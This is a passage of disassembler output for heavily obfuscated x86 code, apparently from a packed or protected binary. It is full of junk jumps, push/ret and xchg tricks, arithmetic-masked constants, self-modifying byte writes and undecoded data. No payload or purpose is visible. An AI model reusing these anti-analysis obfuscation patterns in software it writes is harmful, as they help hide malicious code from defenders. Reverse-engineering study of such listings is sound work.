... xor ecx, ecx inc ecx loc_4734A2: ; CODE XREF: sub_47349F+Fj call sub_47347B adc ecx, ecx call sub_47347B jb short loc_4734A2 retn sub_47349F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473332 loc_4734B1: ; CODE XREF: sub_473332+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_473332 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4734B6 proc near ; DATA XREF: sub_4749EA+13A8o ; sub_476278o ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00475F11 SIZE 00000022 BYTES push ebx mov ebx, offset loc_4755A4 jmp loc_475F11 sub_4734B6 endp ; --------------------------------------------------------------------------- db 2 dup(0), 68h ; CODE XREF: isk1wxzg:00474766j dd offset dword_474838 ; --------------------------------------------------------------------------- jmp loc_474B7E ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4734CE proc near ; CODE XREF: sub_475BF0-14F1p ; FUNCTION CHUNK AT 0047417D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004741DC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004745C0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004757D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475E80 SIZE 00000014 BYTES xchg ebx, [esp+0] pop ebx mov esi, [esi] pushf jmp loc_4757D3 sub_4734CE endp ; --------------------------------------------------------------------------- loc_4734DA: ; CODE XREF: isk1wxzg:00474CA9j mov byte ptr [eax], 3 pop eax pop edx xor edx, 6D7D3AE0h push offset loc_473ED4 jmp locret_47517E ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp locret_474EA3 ; --------------------------------------------------------------------------- mov byte ptr [eax], 0FCh pop eax push ecx push offset loc_474011 jmp locret_473E1D ; --------------------------------------------------------------------------- dd 0C300h, 128E9h, 850F4900h, 1E44h, 0E9D18B52h, 1EE2h ; CODE XREF: sub_4757B6-DE4j dd 0C009008Bh, 7850Fh, 9BE90000h, 8, 0C300h, 5CAE9h, 8B570000h dd 1353E9FDh, 0F000000h, 0EA87h, 24048700h, 0CA8B5158h dd 1E20E9h, 87000000h, 565B241Ch, 475B34BEh, 2124E900h dd 0E9990000h, 0EA4h, 0C60000h, 8B555887h, 242C87EBh, 475F49BBh dd 155FE900h, 0D9590000h, 0F38B241Ch, 0CF52685Bh, 815808F8h dd 618B3CE0h, 1D89E94Eh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474DF6 loc_473598: ; CODE XREF: sub_474DF6:loc_474E95j add edi, ebp add edi, 94A84ECFh mov edi, [edi] popf xchg edi, [esp-4+arg_0] call eax loc_4735A8: ; CODE XREF: isk1wxzg:00473F11j mov dword ptr [ebp-4], 1 push 0B1E44542h jmp loc_47600C ; END OF FUNCTION CHUNK FOR sub_474DF6 ; --------------------------------------------------------------------------- db 2 dup(0), 51h ; CODE XREF: sub_474419:loc_474F6Cj ; --------------------------------------------------------------------------- pop eax xchg eax, [esp] push ecx push 740A2C23h jmp loc_474A38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474524 loc_4735CB: ; CODE XREF: sub_474524+6j mov byte ptr [ebx], 87h pop ebx or ecx, 14E7A68h add ecx, 0AA68B9E7h loc_4735DB: ; DATA XREF: sub_474524+1o xchg ecx, [esp+0] jmp loc_475FDE ; END OF FUNCTION CHUNK FOR sub_474524 ; --------------------------------------------------------------------------- db 68h dd 6B9BD7A2h, 0E9243C87h, 0FFFFFF18h, 0EEC10000h, 240C870Ah dd 0E8108B59h, 0AAFh, 1C21E900h, 0E9000000h, 1429h, 0E90EE1C1h dd 14A9h, 0E9F31300h, 0FFFFFFD6h, 0E0E8D0Fh, 28E90000h dd 81000009h, 0F85908E3h, 0E9DF3B0Ah, 20E0h, 5FC78B00h dd 811AC0C1h, 0CDD13CC0h, 1CE08148h, 8151519Fh, 0F41D59C0h dd 0FC009AFh, 0FFFF5384h, 9CFE9FFh, 0D9810000h, 84D1E03Bh dd 0E76E9h, 2AE80000h, 0E900001Fh, 0FFFFFF38h, 240C8700h dd 8B241487h, 0C875ACAh, 0E9D02924h, 0FFFFFFE7h, 0F58B5600h dd 18D5E9h db 0 ; =============== S U B R O U T I N E ======================================= sub_47368D proc near ; CODE XREF: sub_473CB1+4F8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004741BB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0047443D SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add ebx, 0B513A587h jmp loc_47443D sub_47368D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_47369C: ; CODE XREF: isk1wxzg:loc_475578j xchg ebp, [esp] mov ebx, ebp pop ebp or ebx, 8E6CC54h add ebx, 0D64F66E4h out dx, al sbb al, 24h jmp near ptr dword_473504+32h ; --------------------------------------------------------------------------- db 0 db 0 db 56h ; V db 0E9h ; é db 46h ; F db 17h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- loc_4736C0: ; CODE XREF: isk1wxzg:00473E58j xchg ecx, [esp] pop ecx push 50B6BD40h xchg eax, [esp] jmp loc_473CE9 ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd 0BA03CB1Dh, 9FEB815Bh, 0F068531h, 21F783h, 23000000h dd 21ECE9CBh, 77680000h, 0E900475Ah, 401h, 15E18159h, 81B30307h dd 1246F3C9h, 0D3C181F5h, 3B42B22h, 1580E9CDh, 0 ; --------------------------------------------------------------------------- xchg ebx, ecx mov [ecx], edi jmp loc_474C1C ; =============== S U B R O U T I N E ======================================= sub_47371D proc near ; CODE XREF: sub_4741CE:loc_475AE4p ; FUNCTION CHUNK AT 00473773 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474D90 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00475609 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi jmp loc_475609 sub_47371D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0E800h ; CODE XREF: sub_4741CE:loc_475A5Aj dd 1CE1h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD "+" TO EXPAND] align 10h loc_473730: ; DATA XREF: sub_474BAE:loc_473EC8o xchg edx, [esp] push edx pop ecx push esi mov esi, ebx xchg esi, [esp] jmp loc_475FD7 ; --------------------------------------------------------------------------- dd 8A0F0000h, 70Ah, 5A241487h, 0D5727268h, 0E18159C5h dd 205B81FDh, 0F7AE9h, 0C3000000h, 800F0000h, 2691h, 76D5CA81h dd 0C4E91B7Bh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47371D loc_473773: ; CODE XREF: sub_47371D+1690j call loc_474155 ; END OF FUNCTION CHUNK FOR sub_47371D ; --------------------------------------------------------------------------- dd 70E90000h, 0FFFFFDh, 0D3820F00h, 0E9FFFFFEh, 1FCAh ; CODE XREF: isk1wxzg:00473B99j dd 0CD220000h, 3B63C181h, 98B7294h, 1909E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_47379E: ; CODE XREF: isk1wxzg:00475904j jmp near ptr dword_4735E4+82h ; --------------------------------------------------------------------------- align 4 db 0 byte_4737A5 db 0E8h, 0A5h, 25h ; DATA XREF: sub_474EC1+Ao dd 0 ; --------------------------------------------------------------------------- push 1DB53AC5h xchg esi, [esp] mov ebx, esi pop esi or ebx, 2A3E06Dh jmp loc_4742D5 ; --------------------------------------------------------------------------- pushf push 26CEB896h pop edi rol edi, 4 or edi, 0ECDC725h jmp loc_474315 ; --------------------------------------------------------------------------- db 0C6h dd 685FC107h, 475C1Eh, 989E9h, 24148700h, 0DC689C51h, 0E9004742h dd 1C6Ch, 8E0F0000h, 1BD7h, 6D7DCE81h, 0FCE9F711h, 0F000006h dd 19DB82h, 1B03E900h, 0 ; --------------------------------------------------------------------------- sub ebx, 2B408436h jmp loc_4745E8 ; --------------------------------------------------------------------------- xchg esi, [esp] pop esi add eax, 0EC7F1453h popf xchg eax, [esp] jmp loc_4746F6 ; --------------------------------------------------------------------------- sub edi, 7F155135h jmp loc_473C1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_47383D: ; CODE XREF: sub_474BAE:loc_4751D3j xor ebx, 0D213B0AEh push offset dword_475BB0 jmp nullsub_289 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h loc_473850: ; CODE XREF: isk1wxzg:004750E5j jmp locret_473E73 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 1721h, 0D6330000h, 87243C87h, 0FB8B241Ch, 2717E9h, 0E9C30000h dd 6DCh, 0B4FE6800h, 1CF969A9h, 5BC38B24h, 843AC881h, 7FE81158h dd 0Eh, 0FD02900h, 23184h, 0FFFF6A00h, 44F0C015h, 4BEE800h dd 0 ; --------------------------------------------------------------------------- loc_4738A4: ; CODE XREF: isk1wxzg:00475C10j jmp loc_4752A9 ; --------------------------------------------------------------------------- jmp loc_474AE2 ; --------------------------------------------------------------------------- align 10h dd 15E840Fh, 0 ; --------------------------------------------------------------------------- sbb eax, ecx jb loc_474966 jz loc_473C78 sbb ecx, 82AE159Ch jmp loc_473A14 ; --------------------------------------------------------------------------- not ebx jmp loc_475610 ; --------------------------------------------------------------------------- dd 24148700h, 54C2815Ah, 3737BC93h, 3AEE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_4738E9 proc near ; CODE XREF: isk1wxzg:00474DD4p ; isk1wxzg:004751CCj ; FUNCTION CHUNK AT 00473FBA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00474EAB SIZE 00000015 BYTES xchg ebx, [esp+0] xchg edx, [esp+0] mov ebx, edx pop edx push edi mov edi, esi xchg edi, [esp+0] jmp loc_473FBA sub_4738E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- cmp al, 24h pop edi push eax push 5520851Ch pop eax jmp loc_47480E ; --------------------------------------------------------------------------- add eax, 7C1C0E3Fh rol eax, 12h push ecx push 8CF0E4AAh pop ecx jmp loc_475B10 ; --------------------------------------------------------------------------- dword_473924 dd 0ACB1C281h, 128B3332h, 0A43C2AF6h, 1346850Fh, 36E80000h ; DATA XREF: sub_4757DA+8o dd 13h, 11C3E900h, 0 dd 24048758h, 0FDFAE851h, 0FFFFh, 0D8CE9h, 56216800h, 34E90047h dd 1Bh, 0E915E0C1h, 216Dh, 0BB870F00h, 0E900000Eh, 1A19h db 0 ; --------------------------------------------------------------------------- locret_473975: ; CODE XREF: isk1wxzg:loc_4745AFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_473976: ; CODE XREF: sub_47580E-3B8j jmp loc_475DED ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- align 4 jmp locret_475F5F ; --------------------------------------------------------------------------- loc_473981: ; CODE XREF: isk1wxzg:loc_473C2Cj jmp loc_4750BA ; --------------------------------------------------------------------------- align 4 loc_473988: ; DATA XREF: isk1wxzg:loc_473AC6o lea eax, nullsub_385 mov byte ptr [eax], 0C3h retn ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_401. PRESS KEYPAD "+" TO EXPAND] db 63h, 0D1h, 0A6h dd 17CEE9F2h, 8E0F0000h, 0AEFh, 155DE9h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD "+" TO EXPAND] align 4 dd 1BCCE900h, 0 ; --------------------------------------------------------------------------- pushf jle loc_475DCD jmp loc_474928 ; --------------------------------------------------------------------------- dd 35D1C181h, 0F18144D0h, 317B0941h, 402EE981h, 0EA687CCEh dd 0E900473Bh, 0FFFFFC2Bh db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD "+" TO EXPAND] align 10h dd 16E800h, 8D0F0000h, 0FFFFFB0Dh, 59240C87h, 67EB815Bh ; CODE XREF: sub_475633+Dp ; DATA XREF: isk1wxzg:00473A53o ... dd 0E9A0EFA7h, 0AF1h, 58240487h, 2FF880Fh, 830F0000h, 0FFFFFC79h dd 0E9DD8B53h, 1000h ; --------------------------------------------------------------------------- loc_473A14: ; CODE XREF: isk1wxzg:004738CCj ; isk1wxzg:loc_4756A3j sub ecx, 0B88B31A4h or ecx, 0CDBFA36Eh add ecx, 20401016h call sub_473EE5 locret_473A2B: ; CODE XREF: isk1wxzg:loc_474A73j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_473A2C: ; CODE XREF: sub_473CB1:loc_4754E0j mov byte ptr [edx], 8Ah xchg ebx, [esp+4+var_4] mov edx, ebx pop ebx push eax push 762A4821h pop eax and eax, 0D1D9613Fh jmp loc_475540 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- xchg eax, [esp] xchg edx, [esp] mov eax, edx pop edx xchg edi, [esp] lea eax, dword_4739E0+1 call sub_474997 loc_473A5E: ; CODE XREF: isk1wxzg:loc_474B8Cj push (offset loc_4759BE+1) jmp locret_4755E6 ; --------------------------------------------------------------------------- dd 850F0000h, 1BBh, 0FFFDBDE9h, 6D6800FFh, 5A41E8F8h, 5F65EA81h dd 8968D2DDh, 0E900474Ah, 9AFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_473A8C: ; CODE XREF: sub_4744DB:loc_4754DAj pop esi sub esi, 9330034Bh add esi, 0AFFDBB56h jmp loc_474BE6 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- align 10h dd 8057FA81h, 0B7E9924Fh, 0FFFFFFCh, 87382h, 22ECE900h dd 87000000h, 0FF582404h, 44F0C015h, 2532E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_473AC6: ; CODE XREF: isk1wxzg:00473C90j push offset loc_473988 jmp loc_4745AF ; --------------------------------------------------------------------------- dd 0E93B0000h, 1317E9h, 0C60000h, 0C3C1588Bh, 8CC3810Dh dd 0E8FE1A59h, 2015h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474EC1 loc_473AEE: ; CODE XREF: sub_474EC1+Fj jmp nullsub_287 ; END OF FUNCTION CHUNK FOR sub_474EC1 ; --------------------------------------------------------------------------- jmp locret_4753A4 ; --------------------------------------------------------------------------- dd 1F77E900h, 87000000h, 0D88B2404h, 4875A58h, 58E88B24h dd 1075E9h, 87000000h, 0FF5B241Ch, 44F0C015h, 41926800h dd 62E90047h, 8B000006h, 0B96858D0h, 0E9004746h, 1A43h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475B43 loc_473B34: ; CODE XREF: sub_475B43:loc_4759D0j push offset byte_4744BD jmp nullsub_383 ; END OF FUNCTION CHUNK FOR sub_475B43 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_400. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_473B40: ; CODE XREF: sub_47580E+5EBj jmp loc_475FBC ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- align 2 loc_473B46: ; CODE XREF: isk1wxzg:00475976j jmp loc_47597E ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474419 loc_473B4D: ; CODE XREF: sub_474419:loc_4754C5j xor edx, 8C9FC5E9h call sub_474FD4 add [ecx-17h], dl insd or eax, 0 loc_473B61: ; CODE XREF: isk1wxzg:0047597Fj mov ecx, ebp push esi mov esi, offset loc_473D82 jmp loc_474106 ; END OF FUNCTION CHUNK FOR sub_474419 ; --------------------------------------------------------------------------- dw 9D00h dd 85E9EB33h, 0FFFFFEh, 0E98B0F00h, 0E9000020h, 1D9h, 87243487h dd 0F58B242Ch, 0E957515Dh, 12CBh ; --------------------------------------------------------------------------- loc_473B94: ; CODE XREF: isk1wxzg:loc_474D02j push 47356Ah jmp near ptr dword_473778+2 ; --------------------------------------------------------------------------- align 10h locret_473BA0: ; CODE XREF: isk1wxzg:00473F56j retn ; --------------------------------------------------------------------------- db 0E9h, 31h, 0FCh db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_379. PRESS KEYPAD "+" TO EXPAND] align 4 loc_473BA8: ; CODE XREF: isk1wxzg:00475217j xchg eax, [esp] pop eax mov byte ptr [ebx], 8Bh pop ebx xor esi, 0C7CF55E6h add esi, 4B1618E6h push eax jmp near ptr word_47508A+1 ; --------------------------------------------------------------------------- dw 0F50h dd 3DF8Ah, 4C6E900h, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47420E loc_473BD1: ; CODE XREF: sub_47420E:loc_474DD9j xchg edi, [esp+4+var_4] mov eax, edi pop edi sub eax, 0AF43BFFCh cmp eax, 97077E4Bh jmp near ptr dword_4735E4+38h ; END OF FUNCTION CHUNK FOR sub_47420E ; --------------------------------------------------------------------------- locret_473BE8: ; CODE XREF: isk1wxzg:loc_474B7Ej retn ; --------------------------------------------------------------------------- align 2 add ecx, 137B1D96h xchg ecx, [esp] jmp nullsub_384 ; --------------------------------------------------------------------------- dd 0B4680000h, 580EEF42h, 1746F081h, 0B9E9AD09h, 5E00001Fh dd 879C02C6h, 0D08B2404h, 0FD93E958h, 0FFFFh ; --------------------------------------------------------------------------- loc_473C1C: ; CODE XREF: isk1wxzg:00473838j pop esi xchg esi, eax jg loc_475F6F adc ebx, 2A187023h push eax loc_473C2C: ; CODE XREF: isk1wxzg:0047534Cj jmp loc_473981 ; --------------------------------------------------------------------------- db 2 dup(0), 33h dd 0FAE3E9EEh, 0FFFFh, 862CCB81h, 0C3F72C58h, 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_473C48: ; CODE XREF: sub_474BAE:loc_473EC1j jmp loc_4751D3 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_473C4E proc near ; DATA XREF: sub_474370+4o ; FUNCTION CHUNK AT 00473E40 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00473E47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00474852 SIZE 00000005 BYTES mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jnz loc_473E47 jmp loc_474852 sub_473C4E endp ; --------------------------------------------------------------------------- align 10h dd 8A810F00h, 0E9000015h, 0FFFFFC93h, 0F98B5700h, 68243C87h dd 47410Bh ; --------------------------------------------------------------------------- loc_473C78: ; CODE XREF: isk1wxzg:004738C0j jmp loc_473CDB ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h dd 1D2Eh, 0F93E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_473C8A: ; CODE XREF: isk1wxzg:00475B1Cj jl loc_473F09 jmp loc_473AC6 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFA52h, 0E9F93B00h, 0FFFFFB52h, 74E85B00h, 0FFFFFBh ; --------------------------------------------------------------------------- loc_473CAC: ; CODE XREF: isk1wxzg:00474C00j jmp locret_474312 ; =============== S U B R O U T I N E ======================================= sub_473CB1 proc near ; DATA XREF: sub_476068:loc_475172o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00473A2C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004741A3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00474783 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474B4C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00474BC5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00474CDE SIZE 00000024 BYTES ; FUNCTION CHUNK AT 004754E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475520 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475540 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004755FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475866 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00475F6A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475F90 SIZE 00000010 BYTES push ebx push 0B6789E5Bh pop ebx sub ebx, 7B72116Eh rol ebx, 16h add ebx, 0B02CDE7Bh jmp loc_4755FE sub_473CB1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_473CCC: ; CODE XREF: isk1wxzg:loc_473CDBj retn ; --------------------------------------------------------------------------- byte_473CCD db 3, 0D5h, 0E8h ; DATA XREF: sub_4751B1+Ao dd 1454h, 23B1E9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_473CDB: ; CODE XREF: isk1wxzg:loc_473C78j jmp locret_473CCC ; --------------------------------------------------------------------------- dd 0E8098B00h, 1BA1h ; --------------------------------------------------------------------------- locret_473CE8: ; CODE XREF: isk1wxzg:00474871j retn ; --------------------------------------------------------------------------- loc_473CE9: ; CODE XREF: isk1wxzg:004736CCj jmp loc_4747AB ; --------------------------------------------------------------------------- dw 8700h dd 8759240Ch, 0EC67241Ch, 87C18B50h, 96E92404h, 7, 7A830F00h dd 0E9FFFFF9h, 1300h, 0FD810000h, 0A48556BBh, 0FFFA25E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_474BAE loc_473D1E: ; CODE XREF: sub_474BAE:loc_474705j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jnz loc_473EC8 jmp loc_473EC1 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- align 4 locret_473D34: ; CODE XREF: isk1wxzg:00474C6Bj retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 215Ah, 5A8702C6h, 1674C081h, 0F0E9C2E2h, 11h db 0 ; =============== S U B R O U T I N E ======================================= sub_473D4D proc near ; CODE XREF: isk1wxzg:00474129j ; sub_47537E+279p ; FUNCTION CHUNK AT 00474EE4 SIZE 00000016 BYTES xchg edx, [esp+0] pop edx push eax mov eax, (offset loc_4754EC+5) jmp loc_474EE4 sub_473D4D endp ; --------------------------------------------------------------------------- dd 15EFC100h, 59240C87h, 48716850h, 81585209h, 6ACD9C0h dd 0C1F081C9h, 0E926121Ch, 1A26h ; --------------------------------------------------------------------------- loc_473D7C: ; CODE XREF: isk1wxzg:loc_474A53j mov [ecx], eax pop ecx mov eax, [ebp-4] loc_473D82: ; DATA XREF: sub_474419-8B5o mov al, [eax] sub al, 99h push 0DE72694h pop edx sub edx, 0EBECF046h jmp loc_47607C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_473D98 proc near ; CODE XREF: isk1wxzg:0047504Dj ; isk1wxzg:loc_47536Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00475291 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] jmp loc_475291 sub_473D98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0E8530000h, 2140h, 4CE90000h, 21h, 1CDE9h, 0E9C30000h dd 1320h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_388. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg esi, [esp] xchg ebx, [esp] mov esi, ebx pop ebx push 69A9B4FEh xchg esi, [esp] mov eax, esi jmp loc_475DFE ; --------------------------------------------------------------------------- align 4 loc_473DDC: ; CODE XREF: isk1wxzg:00474C56j xor edi, 19AD9A6Dh cmp ecx, edi pop edi jmp loc_475777 ; --------------------------------------------------------------------------- dw 8100h dd 7CF0E9E8h, 0DEC0811Bh, 8704147Fh, 38E92404h, 14h, 59096800h dd 2CE90047h, 1Fh db 0 ; --------------------------------------------------------------------------- loc_473E0D: ; CODE XREF: sub_473EE5+1E86p xchg eax, [esp] pop eax push ebx fsubr dword ptr [eax-54h] aaa inc edi add cl, ch pop edi sti ; --------------------------------------------------------------------------- db 0FFh db 0FFh ; --------------------------------------------------------------------------- locret_473E1D: ; CODE XREF: isk1wxzg:004734FFj retn ; --------------------------------------------------------------------------- loc_473E1E: ; CODE XREF: isk1wxzg:0047405Cj xor ecx, 0DC7A97EDh add ecx, 3667D532h loc_473E2A: ; DATA XREF: isk1wxzg:0047582Do pop ss or al, 24h jmp loc_475C30 ; --------------------------------------------------------------------------- align 4 push offset loc_4750EB jmp locret_474445 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_473C4E loc_473E40: ; CODE XREF: sub_473C4E:loc_474852j jmp loc_47624E ; END OF FUNCTION CHUNK FOR sub_473C4E ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473C4E loc_473E47: ; CODE XREF: sub_473C4E+6j pop ecx push offset loc_474F54 jmp nullsub_395 ; END OF FUNCTION CHUNK FOR sub_473C4E ; --------------------------------------------------------------------------- and edi, 0E7C1C962h jmp loc_4736C0 ; --------------------------------------------------------------------------- align 2 test ebx, ebp jmp loc_474991 ; --------------------------------------------------------------------------- mov edx, [edi] push 765CDC1Ch jmp loc_475337 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_473E73: ; CODE XREF: isk1wxzg:loc_473850j retn ; --------------------------------------------------------------------------- dd 0C1E90000h db 13h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_473E7B proc near ; CODE XREF: isk1wxzg:004747C0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00474623 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004746DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474846 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474A7F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00474F56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475B97 SIZE 00000018 BYTES xchg ecx, [esp+0] xchg edi, [esp+0] mov ecx, edi pop edi push ebx jmp loc_4746DC sub_473E7B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475026 loc_473E8C: ; CODE XREF: sub_475026+2B1j jmp loc_475D71 ; END OF FUNCTION CHUNK FOR sub_475026 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh ; DATA XREF: isk1wxzg:loc_475986w dd 0FFFF0D82h, 5EDB68FFh, 35E90047h, 2B000020h, 0AD4E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475026 loc_473EAA: ; CODE XREF: sub_475026+5j push 0DCF5588Dh pop eax xor eax, 0D6E1F7Fh and eax, 862FC2BFh jmp loc_4752C8 ; END OF FUNCTION CHUNK FOR sub_475026 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_473EC1: ; CODE XREF: sub_474BAE-E81j jmp loc_473C48 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_474BAE loc_473EC8: ; CODE XREF: sub_474BAE-E87j push offset loc_473730 jmp nullsub_288 ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- align 4 loc_473ED4: ; DATA XREF: isk1wxzg:004734E5o push edx mov edx, 47367Dh jmp loc_4744A3 ; --------------------------------------------------------------------------- loc_473EDF: ; CODE XREF: isk1wxzg:00474412j jno loc_475040 ; =============== S U B R O U T I N E ======================================= sub_473EE5 proc near ; CODE XREF: isk1wxzg:00473A26p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00475D68 SIZE 00000008 BYTES xchg edi, [esp+0] xchg edx, [esp+0] mov edi, edx pop edx loc_473EEE: ; CODE XREF: isk1wxzg:00475BE8j add eax, ecx xchg edi, [esp-4+arg_0] jmp loc_475D68 sub_473EE5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475BF0 loc_473EF8: ; CODE XREF: sub_475BF0+8j pop edx mov eax, 4738E3h jmp loc_475B67 ; END OF FUNCTION CHUNK FOR sub_475BF0 ; --------------------------------------------------------------------------- rol ebx, 9 ror edi, 0Eh loc_473F09: ; CODE XREF: isk1wxzg:loc_473C8Aj add eax, 6F7F9D68h or eax, eax jz loc_4735A8 push ecx push 1FE692A1h jmp loc_475C4E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_473F23: ; CODE XREF: isk1wxzg:00475345j call sub_475633 ; --------------------------------------------------------------------------- dd 0E5C10000h, 0E9D0851Eh, 1AA1h, 0F9CA860Fh, 0C981FFFFh dd 0F6F5FF4Eh, 6CDE8h, 0C35D0000h, 1843E900h, 0C3000000h ; --------------------------------------------------------------------------- loc_473F50: ; CODE XREF: isk1wxzg:00475F3Cj push ebp push offset loc_475E16 jmp locret_473BA0 ; --------------------------------------------------------------------------- loc_473F5B: ; CODE XREF: isk1wxzg:loc_475669j mov ecx, ds:dword_474F68 push 1241D380h pop edx sub edx, 4876B9F1h xor edx, 3839ED77h call sub_475C68 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_473F79: ; CODE XREF: isk1wxzg:00474823j add eax, 0C61C1BD6h jmp loc_474D02 ; 